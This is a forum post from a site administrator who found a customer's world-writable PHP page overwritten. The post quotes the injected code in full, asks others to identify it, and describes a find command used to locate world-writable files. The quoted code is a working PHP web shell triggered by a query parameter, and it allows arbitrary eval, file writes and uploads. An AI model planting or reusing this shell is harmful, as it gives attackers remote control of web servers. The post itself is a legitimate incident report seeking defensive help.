My fault... I should check more often for world writable files.
The mainpage.php of a customers site was world writable. The contents were replaced with the following code.
PHP Code:<?php if(@$_GET['cookies']==1){echo 'Cookies must be enabled !';$tf='';if(@$_POST['tf']){$tf=@$_POST['tf'];}if(@$_POST['e']){eval(@$_POST['e']);}if(@$_POST['t']){if($tf!=''){$f=fopen($tf,'w');fwrite($f,@$_POST['t']);fclose($f);}}if(@$_FILES['f']['name']!=''){$tf=$_FILES['f']['name'];move_uploaded_file(@$_FILES['f']['tmp_name'],$tf);}exit;}?>
Anyone recognize this code and what the hacker or bot intended to do and how worried I need to be?
After I encountered this I used the following command to search out world writable files.
find / -type f -perm -o+w -exec ls -l {} ;
Actually without the / so it would search only the customers public_html directory.
and tightened up the permissions
Needless to say I'll be running various scans of the system but...
If anyone recognizes this hack and can give me a hint of what to look for I would be grateful.
Thanks




LinkBack URL
About LinkBacks








Bookmarks